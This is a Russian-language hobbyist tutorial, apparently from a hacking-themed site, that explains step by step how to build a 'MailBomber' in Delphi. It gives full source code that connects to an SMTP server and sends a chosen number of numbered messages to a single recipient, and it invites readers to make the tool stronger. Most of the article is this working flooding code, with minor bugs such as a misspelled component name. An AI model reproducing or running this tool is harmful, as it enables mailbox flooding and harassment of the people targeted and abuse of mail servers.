Привет! Сейчас я расскажу (и
покажу ;)) как сделать MailBomber на Delphi, да не
простой, а который будет в конце сообщения
будет писать что-то вроде “Читай сообщение
#Х”. Итак приступим.

Шаг №1.

Устанавливаем Delphi, желательно 5-ой
версии, запускаем, жмем на пимпу New->Application
и лепим форму: делаем 7 полей, типа Edit (c
панели Standard), 1 кнопку (тип Button, c панели Standard)
и лепим на форму компонент TNMSMTP (с панели
FastNet), а также текстовую область Memo1 (c панели
Standard).

Пусть: Edit1 будет “адрес
получателя” (напишем это в Object
Inspector->Edit1->Properties-> Text).
Edit2 будет “почтовый сервер” (напишем это в
Object Inspector->Edit2-> Properties-> Text).
Edit3 будет “добавочный текст”, который в
письме будет ‘_т_е_л_о__п_и_с_ь_м_а <br> _д_о_б_а_в_о_ч_н_ы_й__т_е_к_с_т
# X’, где Х- номер следующего письма, а <br> -
перевод на другую строку (напишем что-то в
этом роде в Object Inspector->Edit3-> Properties-> Text).
Edit4 будет “имя отправителя” (напишем это в
Object Inspector->Edit4-> Properties-> Text).
Edit5 будет “количество сообщений” (напишем
это в Object Inspector->Edit5-> Properties-> Text).
Edit6 будет “заголовок письма”, который в
письме будет ‘з_а_г_о_л_о_в_о_к#Х’, где Х
номер текущего письма. (напишем что-то в
этом роде в Object Inspector->Edit6-> Properties-> Text).
Edit7 будет “название проги - отправителя” (напишем
это в Object Inspector->Edit7-> Properties-> Text). 
Button1 будет пимпа “отправить” (напишем это в
Object Inspector->Button1-> Properties->Caption).
Memo1 будет телом сообщения.

Шаг №2

Пишем сам код. Выбираем окно
Unit1.pas. Примечание: после знака // идут мои
комментарии. И еще - данная прога рассчитана
на то, что на первой строчки Memo1 будет тело
письма, а на второй – добавочный текст +
номер следующего письма (добавляется
автоматом)

В Var добавляем переменную “kolvo:
integer;“
На форме 2 кликаем на кнопке “отправить” и
после
procedure TForm1.Button1Click(Sender: TObject);
begin  

пишем

button1.enabled:=false; //делаем кнопку
неактивной
kolvo:=0; //текущий номер письма=0
NMSMTP1.Host:= Edit2.text; // имя SMTP сервера
NMSMTP1.Port:= 25; //порт
NMSMTP1.Connect;
//пока количество отправленных писем не
станет равно введенному, делай:
while kolvo<>(StrToInt(Edit5.text)) do begin
kolvo:= kolvo+1; // c каждым отправленным письмом
увеличиваем kolvo на 1
NMSMTP1.PostMessage.FromAddress:= Edit1.text; //адрес получателя
NMSMTP1.PostMessage.FromName:= Edit4.text; //имя отправителя
NMSMTP1.PostMessage.ToAddress.Add(Edit1.text); //добавление
адреса к списку адресов
//по которым отправляется данное сообщение
MSMTP1.PostMessage.Body.Clear; //очищаем тело письма
Memo1.Lines.Delete(1); //очищаем 2 строку
Memo1.Lines.Insert(1,Edit3.text+'#'+(intTostr(kolvo))); // добавление
в 2-ую строку текст
NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);//в body заносится
содержимое Memo1
NMSMTP1.PostMessage.Subject:= Edit6.text+' '+'#'+IntToStr(kolvo); //
заголовок письма
NMSMTP1.PostMessage.LocalProgram:= Edit7.text; // название проги-отправителя
NMSMTP1.SendMail;//отсылаем
//если все отправили показываем окошко,
активируем кнопку, отсоединяемся
if kolvo=StrToInt(Edit5.text) then
begin
ShowMessage('Отправленно сообщений: '+ Edit5.text);
button1.enabled:=true;
NMSMTP1.Disconnect;
end;
end;
end;
end.

Шаг №3

Сохраняем, компилируем и
запускаем Project->Build Project1.

Как это работает

При нажатии кнопки “отправить”
а поле заголовок автоматом добавляется
номер текущего письма, а в тело - добавочный
текст + номер следующего письма.

Заключение

В этой статье я описал, как
сделать простой MailBomber на Delphi. Если ты кодишь
на Дельфи - добавляй и изменяй данный текст,
делая прогу круче.

Готовые исходники: source.zip

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии